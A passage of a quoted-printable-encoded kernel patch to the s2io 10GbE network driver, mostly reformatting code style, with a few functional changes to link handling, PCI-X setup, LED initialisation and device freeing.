s2io_open(dev);=0A= - sp->tx_pkt_ptr =3D NULL;=0A= - DBG_PRINT(ERR_DBG,"%s: Hit the watch dog routine\n",dev->name);=0A= + DBG_PRINT(INFO_DBG,=0A= + "%s: was reset by Tx watchdog timer.\n",=0A= + dev->name);=0A= }=0A= -=0A= -#if DEBUG_ON=0A= - DBG_PRINT(ERR_DBG,"%s: Device was reset by Tx watchdog timer.\n", =0A= - dev->name);=0A= -#endif =0A= }=0A= =0A= /*=0A= @@ -4295,40 +4168,43 @@ void s2io_tx_watchdog(struct net_device =0A= * to the upper layer. If the checksum is wrong, it increments the Rx=0A= * packet error count, frees the SKB and returns error.=0A= */=0A= -int rxOsmHandler(nic_t *sp,u16 len,RxD_t *rxdp,int ring_no)=0A= +static int rxOsmHandler(nic_t * sp, u16 len, RxD_t * rxdp, int ring_no)=0A= {=0A= - struct net_device *dev =3D (struct net_device *)sp->dev;=0A= - struct sk_buff *skb =3D (struct sk_buff = *)(dmaaddr_t)rxdp->Host_Control;=0A= + struct net_device *dev =3D (struct net_device *) sp->dev;=0A= + struct sk_buff *skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->Host_Control);=0A= u16 l3_csum, l4_csum;=0A= =0A= l3_csum =3D RXD_GET_L3_CKSUM(rxdp->Control_1);=0A= - if(rxdp->Control_1 & TCP_OR_UDP_FRAME) {=0A= + if (rxdp->Control_1 & TCP_OR_UDP_FRAME) {=0A= l4_csum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= - if((l3_csum =3D=3D L3_CKSUM_OK) && (l4_csum =3D=3D L4_CKSUM_OK)) {=0A= - skb->ip_summed =3D CHECKSUM_UNNECESSARY;=0A= - skb->csum =3D l4_csum;=0A= + if ((l3_csum =3D=3D L3_CKSUM_OK) && (l4_csum =3D=3D L4_CKSUM_OK)) {=0A= + skb->ip_summed =3D CHECKSUM_UNNECESSARY;=0A= + skb->csum =3D l4_csum;=0A= } else {=0A= - /* Erroneous checksum, let the upper layers deal with it. */=0A= - skb->ip_summed =3D CHECKSUM_NONE;=0A= + /* Erroneous checksum, let the upper layers deal with =0A= + * it.=0A= + */=0A= + skb->ip_summed =3D CHECKSUM_NONE;=0A= }=0A= } else {=0A= - skb->ip_summed =3D CHECKSUM_NONE;=0A= + skb->ip_summed =3D CHECKSUM_NONE;=0A= }=0A= =0A= skb->dev =3D dev;=0A= - skb_put(skb,len);=0A= - skb->protocol =3D eth_type_trans(skb,dev);=0A= + skb_put(skb, len);=0A= + skb->protocol =3D eth_type_trans(skb, dev);=0A= =0A= - #ifdef CONFIGURE_NAPI_SUPPORT=0A= +#ifdef CONFIGURE_NAPI_SUPPORT=0A= netif_receive_skb(skb);=0A= - #else=0A= +#else=0A= netif_rx(skb);=0A= - #endif=0A= +#endif=0A= =0A= dev->last_rx =3D jiffies;=0A= - #if DEBUG_ON=0A= +#if DEBUG_ON=0A= sp->rxpkt_cnt++;=0A= - #endif=0A= +#endif=0A= sp->rx_pkt_count++;=0A= sp->stats.rx_packets++;=0A= sp->stats.rx_bytes +=3D len;=0A= @@ -4351,17 +4227,18 @@ int rxOsmHandler(nic_t *sp,u16 len,RxD_t=0A= * status of the NIC is is down or up. This is called by the Alarm = interrupt =0A= * handler whenever a link change interrupt comes up. =0A= */=0A= -void s2io_link(nic_t *sp, int link)=0A= +void s2io_link(nic_t * sp, int link)=0A= {=0A= - struct net_device *dev =3D (struct net_device *)sp->dev;=0A= + struct net_device *dev =3D (struct net_device *) sp->dev;=0A= =0A= - if(link =3D=3D 0) {=0A= - DBG_PRINT(ERR_DBG,"%s: Link down\n",dev->name);=0A= + if (link =3D=3D 0) {=0A= + DBG_PRINT(ERR_DBG, "%s: Link down\n", dev->name);=0A= netif_carrier_off(dev);=0A= - }=0A= - else {=0A= - DBG_PRINT(ERR_DBG,"%s: Link Up\n",dev->name);=0A= + netif_stop_queue(dev);=0A= + } else {=0A= + DBG_PRINT(ERR_DBG, "%s: Link Up\n", dev->name);=0A= netif_carrier_on(dev);=0A= + netif_wake_queue(dev);=0A= }=0A= }=0A= =0A= @@ -4374,10 +4251,10 @@ void s2io_link(nic_t *sp, int link)=0A= * Function to identify the Revision ID of xena.=0A= */=0A= int get_xena_rev_id(struct pci_dev *pdev)=0A= -{ =0A= +{=0A= u8 id =3D 0;=0A= int ret;=0A= - ret =3D pci_read_config_byte(pdev, PCI_REVISION_ID, (u8 *)&id);=0A= + ret =3D pci_read_config_byte(pdev, PCI_REVISION_ID, (u8 *) & id);=0A= return id;=0A= }=0A= =0A= @@ -4391,41 +4268,50 @@ int get_xena_rev_id(struct pci_dev *pdev=0A= * This function initializes a few of the PCI and PCI-X configuration = registers=0A= * with recommended values.=0A= */=0A= -static void s2io_init_pci(nic_t *sp)=0A= +static void s2io_init_pci(nic_t * sp)=0A= {=0A= - u16 pci_cmd =3D 0;=0A= + u16 pci_cmd =3D 0;=0A= =0A= /* Enable Data Parity Error Recovery in PCI-X command register. */=0A= - pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER, &(sp->pcix_cmd));=0A= - pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER, =0A= - (sp->pcix_cmd | 1));=0A= - pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER, &(sp->pcix_cmd));=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= + pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + (sp->pcix_cmd | 1));=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= =0A= /* Set the PErr Response bit in PCI command register. */=0A= pci_read_config_word(sp->pdev, PCI_COMMAND, &pci_cmd);=0A= - pci_write_config_word(sp->pdev, PCI_COMMAND, =0A= - (pci_cmd|PCI_COMMAND_PARITY));=0A= + pci_write_config_word(sp->pdev, PCI_COMMAND,=0A= + (pci_cmd | PCI_COMMAND_PARITY));=0A= pci_read_config_word(sp->pdev, PCI_COMMAND, &pci_cmd);=0A= =0A= /* Set user specified value in Latency Timer */=0A= - if(latency_timer) { =0A= - pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER, =0A= - latency_timer);=0A= - pci_read_config_byte(sp->pdev, PCI_LATENCY_TIMER, =0A= - &latency_timer);=0A= - pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER, =0A= - latency_timer);=0A= + if (latency_timer) {=0A= + pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= + latency_timer);=0A= + pci_read_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= + &latency_timer);=0A= + pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= + latency_timer);=0A= }=0A= - =0A= +=0A= /* Set MMRB count to 4096 in PCI-X Command register. */=0A= pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= - (sp->pcix_cmd|0x0C));=0A= - pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER, &(sp->pcix_cmd));=0A= + (sp->pcix_cmd | 0x0C));=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= =0A= /* Setting Maximum outstanding splits to two for now. */=0A= - sp->pcix_cmd |=3D = XENA_MAX_OUTSTANDING_SPLITS(XENA_TWO_SPLIT_TRANSACTION);=0A= - pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,sp->pcix_cmd);=0A= - pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER, &(sp->pcix_cmd));=0A= + /*Grisha : first clear out the OST field */=0A= + sp->pcix_cmd &=3D 0xFF1F;=0A= +=0A= + sp->pcix_cmd |=3D=0A= + XENA_MAX_OUTSTANDING_SPLITS(XENA_TWO_SPLIT_TRANSACTION);=0A= + pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + sp->pcix_cmd);=0A= + pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= + &(sp->pcix_cmd));=0A= =0A= }=0A= =0A= @@ -4456,52 +4342,57 @@ MODULE_PARM(latency_timer, "1-" __MODULE=0A= * registers of the device.=0A= * =0A= */=0A= -static int __devinit =0A= -s2io_init_nic(struct pci_dev *pdev,const struct pci_device_id *pre)=0A= +static int __devinit=0A= +s2io_init_nic(struct pci_dev *pdev, const struct pci_device_id *pre)=0A= {=0A= nic_t *sp;=0A= struct net_device *dev;=0A= - char *dev_name=3D"S2IO 10GE NIC";=0A= - int i,j, ret;=0A= + char *dev_name =3D "S2IO 10GE NIC";=0A= + int i, j, ret;=0A= int dma_flag =3D FALSE;=0A= u32 mac_up, mac_down;=0A= u64 val64 =3D 0, tmp64 =3D 0;=0A= XENA_dev_config_t *bar0 =3D NULL;=0A= -=0A= - if((ret =3D pci_enable_device(pdev))) {=0A= - DBG_PRINT(ERR_DBG,"s2io_init_nic: pci_enable_device failed\n");=0A= + u16 subid;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= +=0A= + if ((ret =3D pci_enable_device(pdev))) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "s2io_init_nic: pci_enable_device failed\n");=0A= return ret;=0A= }=0A= =0A= if (!pci_set_dma_mask(pdev, 0xffffffffffffffff)) {=0A= - DBG_PRINT(INIT_DBG,"s2io_init_nic: Using 64bit DMA\n");=0A= + DBG_PRINT(INIT_DBG, "s2io_init_nic: Using 64bit DMA\n");=0A= dma_flag =3D TRUE;=0A= =0A= - #if defined (XENA_ARCH_64) || (PPC_ARCH64) =0A= - #if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= - if (pci_set_consistent_dma_mask(pdev, 0xffffffffffffffffULL)) {=0A= - DBG_PRINT(ERR_DBG,"Unable to obtain 64bit DMA for \=0A= +#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= + if (pci_set_consistent_dma_mask=0A= + (pdev, 0xffffffffffffffffULL)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "Unable to obtain 64bit DMA for \=0A= consistent allocations\n");=0A= - return -ENOMEM;=0A= + return -ENOMEM;=0A= }=0A= - #endif=0A= - #endif=0A= +#endif=0A= } else if (!pci_set_dma_mask(pdev, 0xffffffff)) {=0A= - DBG_PRINT(INIT_DBG,"s2io_init_nic: Using 32bit DMA\n");=0A= + DBG_PRINT(INIT_DBG, "s2io_init_nic: Using 32bit DMA\n");=0A= } else {=0A= pci_disable_device(pdev);=0A= return -ENOMEM;=0A= }=0A= =0A= - if(pci_request_regions(pdev, s2io_driver_name)) {=0A= - DBG_PRINT(ERR_DBG,"Request Regions failed\n"),=0A= - pci_disable_device(pdev);=0A= + if (pci_request_regions(pdev, s2io_driver_name)) {=0A= + DBG_PRINT(ERR_DBG, "Request Regions failed\n"),=0A= + pci_disable_device(pdev);=0A= return -ENODEV;=0A= }=0A= - =0A= +=0A= dev =3D alloc_etherdev(sizeof(nic_t));=0A= - if(dev =3D=3D NULL) {=0A= - DBG_PRINT(ERR_DBG,"Device allocation failed\n");=0A= + if (dev =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "Device allocation failed\n");=0A= pci_disable_device(pdev);=0A= pci_release_regions(pdev);=0A= return -ENODEV;=0A= @@ -4513,8 +4404,8 @@ s2io_init_nic(struct pci_dev *pdev,const=0A= SET_NETDEV_DEV(dev, &pdev->dev);=0A= =0A= /* Private member variable initialized to s2io NIC structure */=0A= - sp =3D (nic_t *)dev->priv;=0A= - memset(sp,0,sizeof(nic_t));=0A= + sp =3D (nic_t *) dev->priv;=0A= + memset(sp, 0, sizeof(nic_t));=0A= sp->dev =3D dev;=0A= sp->pdev =3D pdev;=0A= sp->vendor_id =3D pdev->vendor;=0A= @@ -4522,203 +4413,213 @@ s2io_init_nic(struct pci_dev *pdev,const=0A= sp->high_dma_flag =3D dma_flag;=0A= sp->irq =3D pdev->irq;=0A= sp->device_enabled_once =3D FALSE;=0A= - sp->loop_pkt_cnt =3D 0;=0A= - strcpy(sp->name,dev_name);=0A= + strcpy(sp->name, dev_name);=0A= =0A= /* Initialize some PCI/PCI-X fields of the NIC. */=0A= s2io_init_pci(sp);=0A= - =0A= +=0A= /* Setting the device configuration parameters.=0A= * Most of these parameters can be specified by the user during module =0A= * insertion as they are module loadable parameters. If these =0A= * parameters are not not specified during load time, they are = initalized=0A= * with default values.=0A= */=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= /* Tx side parameters. */=0A= - if(fifo_num) {=0A= - sp->config.TxFIFONum =3D fifo_num;=0A= - } else {=0A= - sp->config.TxFIFONum =3D 1;=0A= - }=0A= - =0A= - if(!fifo_len[0] && (fifo_num>1)) {=0A= - printk(KERN_ERR"Fifo Lens not specified for all FIFOs\n");=0A= + config->TxFIFONum =3D fifo_num ? fifo_num : 1;=0A= +=0A= + if (!fifo_len[0] && (fifo_num > 1)) {=0A= + printk(KERN_ERR "Fifo Lens not specified for all FIFOs\n");=0A= goto init_failed;=0A= }=0A= - =0A= - if(fifo_len[0]) {=0A= +=0A= + if (fifo_len[0]) {=0A= int cnt;=0A= =0A= - for(cnt=3D0; fifo_len[cnt]; cnt++);=0A= - if(fifo_num) {=0A= - if(cnt < fifo_num) {=0A= - printk(KERN_ERR"Fifo Lens not specified for ");=0A= - printk(KERN_ERR"all FIFOs\n");=0A= + for (cnt =3D 0; fifo_len[cnt]; cnt++);=0A= + if (fifo_num) {=0A= + if (cnt < fifo_num) {=0A= + printk(KERN_ERR=0A= + "Fifo Lens not specified for ");=0A= + printk(KERN_ERR "all FIFOs\n");=0A= goto init_failed;=0A= }=0A= }=0A= - for(cnt=3D0; cntconfig.TxFIFONum; cnt++) {=0A= - sp->config.TxCfg[cnt].FifoLen =3D fifo_len[cnt];=0A= - sp->config.TxCfg[cnt].FifoPriority =3D cnt;=0A= + for (cnt =3D 0; cnt < config->TxFIFONum; cnt++) {=0A= + config->TxCfg[cnt].FifoLen =3D fifo_len[cnt];=0A= + config->TxCfg[cnt].FifoPriority =3D cnt;=0A= }=0A= } else {=0A= - sp->config.TxCfg[0].FifoLen =3D DEFAULT_FIFO_LEN;=0A= - sp->config.TxCfg[0].FifoPriority =3D 0;=0A= + config->TxCfg[0].FifoLen =3D DEFAULT_FIFO_LEN;=0A= + config->TxCfg[0].FifoPriority =3D 0;=0A= + }=0A= +=0A= + config->TxIntrType =3D TXD_INT_TYPE_UTILZ;=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + if (config->TxCfg[i].FifoLen < 64) {=0A= + config->TxIntrType =3D TXD_INT_TYPE_PER_LIST;=0A= + break;=0A= + }=0A= }=0A= =0A= - sp->config.TxCfg[0].fNoSnoop =3D (NO_SNOOP_TXD | NO_SNOOP_TXD_BUFFER);=0A= - sp->config.MaxTxDs =3D MAX_SKB_FRAGS;=0A= - sp->config.TxFlow =3D TRUE;=0A= + config->TxCfg[0].fNoSnoop =3D=0A= + (NO_SNOOP_TXD | NO_SNOOP_TXD_BUFFER);=0A= + config->MaxTxDs =3D MAX_SKB_FRAGS;=0A= + config->TxFlow =3D TRUE;=0A= =0A= /* Rx side parameters. */=0A= - if(ring_num) {=0A= - sp->config.RxRingNum =3D ring_num;=0A= - } else {=0A= - sp->config.RxRingNum =3D 1;=0A= - }=0A= + config->RxRingNum =3D ring_num ? ring_num : 1;=0A= =0A= - if(ring_len[0]) {=0A= + if (ring_len[0]) {=0A= int cnt;=0A= - for(cnt=3D0; cntconfig.RxRingNum; cnt++) {=0A= - sp->config.RxCfg[cnt].NumRxd =3D ring_len[cnt];=0A= - sp->config.RxCfg[cnt].RingPriority =3D cnt;=0A= + for (cnt =3D 0; cnt < config->RxRingNum; cnt++) {=0A= + config->RxCfg[cnt].NumRxd =3D ring_len[cnt];=0A= + config->RxCfg[cnt].RingPriority =3D cnt;=0A= }=0A= } else {=0A= int id;=0A= - if((id =3D get_xena_rev_id(pdev)) =3D=3D 1) {=0A= - sp->config.RxCfg[0].NumRxd =3D LARGE_RXD_CNT;=0A= - =0A= + if ((id =3D get_xena_rev_id(pdev)) =3D=3D 1) {=0A= + config->RxCfg[0].NumRxd =3D LARGE_RXD_CNT;=0A= +=0A= } else {=0A= - sp->config.RxCfg[0].NumRxd =3D SMALL_RXD_CNT;=0A= + config->RxCfg[0].NumRxd =3D SMALL_RXD_CNT;=0A= }=0A= - sp->config.RxCfg[0].RingPriority =3D 0;=0A= + config->RxCfg[0].RingPriority =3D 0;=0A= }=0A= - sp->config.RxCfg[0].RingOrg =3D RING_ORG_BUFF1;=0A= - sp->config.RxCfg[0].RxdThresh =3D DEFAULT_RXD_THRESHOLD;=0A= - sp->config.RxCfg[0].fNoSnoop =3D (NO_SNOOP_RXD | NO_SNOOP_RXD_BUFFER);=0A= - sp->config.RxCfg[0].RxD_BackOff_Interval =3D TBD;=0A= - sp->config.RxFlow =3D TRUE;=0A= + config->RxCfg[0].RingOrg =3D RING_ORG_BUFF1;=0A= + config->RxCfg[0].RxdThresh =3D DEFAULT_RXD_THRESHOLD;=0A= + config->RxCfg[0].fNoSnoop =3D=0A= + (NO_SNOOP_RXD | NO_SNOOP_RXD_BUFFER);=0A= + config->RxCfg[0].RxD_BackOff_Interval =3D TBD;=0A= + config->RxFlow =3D TRUE;=0A= =0A= /* Miscellaneous parameters.*/=0A= - sp->config.RxVLANEnable =3D TRUE;=0A= - sp->config.MTU =3D MAX_MTU_VLAN;=0A= - sp->config.JumboEnable =3D FALSE;=0A= + config->RxVLANEnable =3D TRUE;=0A= + config->MTU =3D MAX_MTU_VLAN;=0A= + config->JumboEnable =3D FALSE;=0A= =0A= /* Setting Mac Control parameters */=0A= - sp->mac_control.txdl_len =3D MAX_SKB_FRAGS;=0A= - sp->mac_control.rmac_pause_time =3D 0;=0A= + mac_control->txdl_len =3D MAX_SKB_FRAGS;=0A= + mac_control->rmac_pause_time =3D 0;=0A= =0A= /* Initialize Ring buffer parameters. */=0A= - for(i=3D0;iconfig.RxRingNum;i++)=0A= - atomic_set(&sp->rx_bufs_left[i],0);=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= + atomic_set(&sp->rx_bufs_left[i], 0);=0A= =0A= /* initialize the shared memory used by the NIC and the host */=0A= - if(initSharedMem(sp)) {=0A= - DBG_PRINT(ERR_DBG,"%s: Memory allocation failed\n",dev->name);=0A= + if (initSharedMem(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Memory allocation failed\n",=0A= + dev->name);=0A= goto mem_alloc_failed;=0A= }=0A= =0A= - sp->bar0 =3D (caddr_t)ioremap(pci_resource_start(pdev,0), \=0A= - pci_resource_len(pdev,0));=0A= - if(!sp->bar0) {=0A= - DBG_PRINT(ERR_DBG,"%s: S2IO: cannot remap io mem1\n",dev->name);=0A= + sp->bar0 =3D (caddr_t) ioremap(pci_resource_start(pdev, 0),=0A= + pci_resource_len(pdev, 0));=0A= + if (!sp->bar0) {=0A= + DBG_PRINT(ERR_DBG, "%s: S2IO: cannot remap io mem1\n",=0A= + dev->name);=0A= goto bar0_remap_failed;=0A= }=0A= =0A= - sp->bar1 =3D (caddr_t)ioremap(pci_resource_start(pdev,2), \=0A= - pci_resource_len(pdev,2));=0A= - if(!sp->bar1) {=0A= - DBG_PRINT(ERR_DBG,"%s: S2IO: cannot remap io mem2\n",dev->name);=0A= + sp->bar1 =3D (caddr_t) ioremap(pci_resource_start(pdev, 2),=0A= + pci_resource_len(pdev, 2));=0A= + if (!sp->bar1) {=0A= + DBG_PRINT(ERR_DBG, "%s: S2IO: cannot remap io mem2\n",=0A= + dev->name);=0A= goto bar1_remap_failed;=0A= }=0A= =0A= dev->irq =3D pdev->irq;=0A= - dev->base_addr =3D (dmaaddr_t)sp->bar0;=0A= - sp =3D (nic_t *)dev->priv;=0A= + dev->base_addr =3D (unsigned long) sp->bar0;=0A= + sp =3D (nic_t *) dev->priv;=0A= =0A= /* Initializing the BAR1 address as the start of the FIFO pointer. */=0A= - for(j=3D0;jmac_control.tx_FIFO_start[j] =3D (TxFIFO_element_t*)=0A= - (sp->bar1+(j*0x00020000));=0A= + for (j =3D 0; j < MAX_TX_FIFOS; j++) {=0A= + mac_control->tx_FIFO_start[j] =3D (TxFIFO_element_t *)=0A= + (sp->bar1 + (j * 0x00020000));=0A= }=0A= =0A= /* Driver entry points */=0A= - dev->open =3D &s2io_open;=0A= - dev->stop =3D &s2io_close;=0A= - dev->hard_start_xmit =3D &s2io_xmit;=0A= - dev->get_stats =3D &s2io_get_stats;=0A= + dev->open =3D &s2io_open;=0A= + dev->stop =3D &s2io_close;=0A= + dev->hard_start_xmit =3D &s2io_xmit;=0A= + dev->get_stats =3D &s2io_get_stats;=0A= dev->set_multicast_list =3D &s2io_set_multicast;=0A= - dev->set_mac_address =3D &s2io_set_mac_addr;=0A= - dev->do_ioctl =3D &s2io_ioctl;=0A= - dev->change_mtu =3D &s2io_change_mtu;=0A= - #ifdef CONFIGURE_NAPI_SUPPORT=0A= - dev->poll =3D s2io_poll;=0A= - dev->weight =3D 128; /* For now. */=0A= - #endif=0A= -=0A= -/* The features the device supports. */=0A= - dev->features |=3D NETIF_F_SG|NETIF_F_HW_CSUM;=0A= - if(sp->high_dma_flag =3D=3D TRUE)=0A= + dev->set_mac_address =3D &s2io_set_mac_addr;=0A= + dev->do_ioctl =3D &s2io_ioctl;=0A= + dev->change_mtu =3D &s2io_change_mtu;=0A= +#ifdef CONFIGURE_NAPI_SUPPORT=0A= + dev->poll =3D s2io_poll;=0A= + dev->weight =3D 128; /* For now. */=0A= +#endif=0A= +=0A= + dev->features |=3D NETIF_F_SG | NETIF_F_HW_CSUM;=0A= + if (sp->high_dma_flag =3D=3D TRUE)=0A= dev->features |=3D NETIF_F_HIGHDMA;=0A= - #ifdef NETIF_F_TSO=0A= +#ifdef NETIF_F_TSO=0A= dev->features |=3D NETIF_F_TSO;=0A= - #endif=0A= +#endif=0A= =0A= -/* Setting the Tx watch dog timeout value and timer functio. */=0A= dev->tx_timeout =3D &s2io_tx_watchdog;=0A= dev->watchdog_timeo =3D WATCH_DOG_TIMEOUT;=0A= =0A= -/* Register Device with OS. */=0A= - if(register_netdev(dev)) {=0A= + if (register_netdev(dev)) {=0A= DBG_PRINT(ERR_DBG, "Device registration failed\n");=0A= goto register_failed;=0A= }=0A= =0A= -/* Save PCI state. */=0A= pci_save_state(sp->pdev, sp->config_space);=0A= =0A= /* Setting swapper control on the NIC, for proper reset operation */=0A= - if(s2io_set_swapper(sp)) {=0A= - DBG_PRINT(ERR_DBG,"%s:swapper settings are wrong\n", dev->name);=0A= + if (s2io_set_swapper(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s:swapper settings are wrong\n",=0A= + dev->name);=0A= goto set_swap_failed;=0A= }=0A= - =0A= +=0A= /* Fix for all "FFs" MAC address problems observed on Alpha platforms */=0A= FixMacAddress(sp);=0A= s2io_reset(sp);=0A= =0A= /* Setting swapper control on the NIC, so the MAC address can be read. = */=0A= - if(s2io_set_swapper(sp)) {=0A= - DBG_PRINT(ERR_DBG,"%s: S2IO: swapper settings are wrong\n",=0A= - dev->name);=0A= + if (s2io_set_swapper(sp)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "%s: S2IO: swapper settings are wrong\n",=0A= + dev->name);=0A= goto set_swap_failed;=0A= }=0A= =0A= /* MAC address initialization.=0A= * For now only one mac address will be read and used. */=0A= - bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= val64 =3D RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= - RMAC_ADDR_CMD_MEM_OFFSET(0+MAC_MAC_ADDR_START_OFFSET);=0A= + RMAC_ADDR_CMD_MEM_OFFSET(0 + MAC_MAC_ADDR_START_OFFSET);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= mdelay(500);=0A= tmp64 =3D read64(&bar0->rmac_addr_data0_mem);=0A= =0A= - mac_down =3D (u32)tmp64;=0A= - mac_up =3D (u32)(tmp64 >> 32);=0A= + mac_down =3D (u32) tmp64;=0A= + mac_up =3D (u32) (tmp64 >> 32);=0A= =0A= memset(sp->defMacAddr[0].mac_addr, 0, sizeof(ETH_ALEN));=0A= =0A= - sp->defMacAddr[0].mac_addr[3] =3D (u8)(mac_up);=0A= - sp->defMacAddr[0].mac_addr[2] =3D (u8)(mac_up>>8);=0A= - sp->defMacAddr[0].mac_addr[1] =3D (u8)(mac_up>>16);=0A= - sp->defMacAddr[0].mac_addr[0] =3D (u8)(mac_up>>24);=0A= - sp->defMacAddr[0].mac_addr[5] =3D (u8)(mac_down>>16);=0A= - sp->defMacAddr[0].mac_addr[4] =3D (u8)(mac_down>>24);=0A= -=0A= - DBG_PRINT(INIT_DBG,"DEFAULT MAC = ADDR:0x%02x-%02x-%02x-%02x-%02x-%02x\n",=0A= - sp->defMacAddr[0].mac_addr[0],sp->defMacAddr[0].mac_addr[1],=0A= - sp->defMacAddr[0].mac_addr[2],sp->defMacAddr[0].mac_addr[3],=0A= - sp->defMacAddr[0].mac_addr[4],sp->defMacAddr[0].mac_addr[5]);=0A= + sp->defMacAddr[0].mac_addr[3] =3D (u8) (mac_up);=0A= + sp->defMacAddr[0].mac_addr[2] =3D (u8) (mac_up >> 8);=0A= + sp->defMacAddr[0].mac_addr[1] =3D (u8) (mac_up >> 16);=0A= + sp->defMacAddr[0].mac_addr[0] =3D (u8) (mac_up >> 24);=0A= + sp->defMacAddr[0].mac_addr[5] =3D (u8) (mac_down >> 16);=0A= + sp->defMacAddr[0].mac_addr[4] =3D (u8) (mac_down >> 24);=0A= +=0A= + DBG_PRINT(INIT_DBG,=0A= + "DEFAULT MAC ADDR:0x%02x-%02x-%02x-%02x-%02x-%02x\n",=0A= + sp->defMacAddr[0].mac_addr[0],=0A= + sp->defMacAddr[0].mac_addr[1],=0A= + sp->defMacAddr[0].mac_addr[2],=0A= + sp->defMacAddr[0].mac_addr[3],=0A= + sp->defMacAddr[0].mac_addr[4],=0A= + sp->defMacAddr[0].mac_addr[5]);=0A= =0A= /* Set the factory defined MAC address initially */=0A= dev->addr_len =3D ETH_ALEN;=0A= @@ -4732,6 +4633,20 @@ s2io_init_nic(struct pci_dev *pdev,const=0A= spin_lock_init(&sp->isr_lock);=0A= spin_lock_init(&sp->tx_lock);=0A= =0A= + /* SXE-002: Configure link and activity LED to init state =0A= + * on driver load. =0A= + */=0A= + ret =3D=0A= + pci_read_config_word(sp->pdev, PCI_SUBSYSTEM_ID,=0A= + (u16 *) & subid);=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D read64(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000;=0A= + write64(&bar0->gpio_control, val64);=0A= + val64 =3D 0x0411040400000000;=0A= + write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= + }=0A= +=0A= /* Make Link state as off at this point, when the Link change interrupt = comes=0A= * the state will be automatically changed to the right state.=0A= */=0A= @@ -4739,20 +4654,20 @@ s2io_init_nic(struct pci_dev *pdev,const=0A= =0A= return SUCCESS;=0A= =0A= -set_swap_failed:=0A= + set_swap_failed:=0A= unregister_netdev(dev);=0A= -register_failed:=0A= + register_failed:=0A= iounmap(sp->bar1);=0A= -bar1_remap_failed:=0A= + bar1_remap_failed:=0A= iounmap(sp->bar0);=0A= -bar0_remap_failed:=0A= -mem_alloc_failed:=0A= + bar0_remap_failed:=0A= + mem_alloc_failed:=0A= freeSharedMem(sp);=0A= -init_failed:=0A= + init_failed:=0A= pci_disable_device(pdev);=0A= pci_release_regions(pdev);=0A= pci_set_drvdata(pdev, NULL);=0A= - kfree(dev);=0A= + s2io_free_netdev(dev);=0A= =0A= return -ENODEV;=0A= }=0A= @@ -4769,14 +4684,15 @@ init_failed:=0A= */=0A= static void __exit s2io_rem_nic(struct pci_dev *pdev)=0A= {=0A= - struct net_device *dev =3D (struct net_device *)pci_get_drvdata(pdev);=0A= + struct net_device *dev =3D=0A= + (struct net_device *) pci_get_drvdata(pdev);=0A= nic_t *sp;=0A= =0A= - if(dev =3D=3D NULL) {=0A= + if (dev =3D=3D NULL) {=0A= DBG_PRINT(ERR_DBG, "Driver Data is NULL!!\n");=0A= return;=0A= }=0A= - sp =3D (nic_t *)dev->priv;=0A= + sp =3D (nic_t *) dev->priv;=0A= freeSharedMem(sp);=0A= iounmap(sp->bar0);=0A= iounmap(sp->bar1);=0A= @@ -4785,35 +4701,137 @@ static void __exit s2io_rem_nic(struct p=0A= pci_set_drvdata(pdev, NULL);=0A= =0A= unregister_netdev(dev);=0A= - =0A= - #if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= - free_netdev(dev);=0A= - #else=0A= - kfree(dev);=0A= - #endif=0A= +=0A= + s2io_free_netdev(dev);=0A= }=0A= =0A= int s2io_starter(void)=0A= {=0A= - return pci_module_init(&s2io_driver) ? -ENODEV :0;=0A= + return pci_module_init(&s2io_driver);=0A= }=0A= =0A= void s2io_closer(void)=0A= {=0A= pci_unregister_driver(&s2io_driver);=0A= - DBG_PRINT(INIT_DBG,"cleanup done\n");=0A= + DBG_PRINT(INIT_DBG, "cleanup done\n");=0A= }=0A= =0A= #ifdef AS_A_MODULE=0A= module_init(s2io_starter);=0A= module_exit(s2io_closer);=0A= -#endif =0A= +#endif=0A= =0A= /* To build the driver, =0A= gcc -D__KERNEL__ -DMODULE -I/usr/src/linux-2.4/include -Wall = -Wstrict-prototypes -O2 -c s2io.c=0A= */=0A= /*=0A= *$Log: s2io.c,v $=0A= + *Revision 1.101 2004/02/11 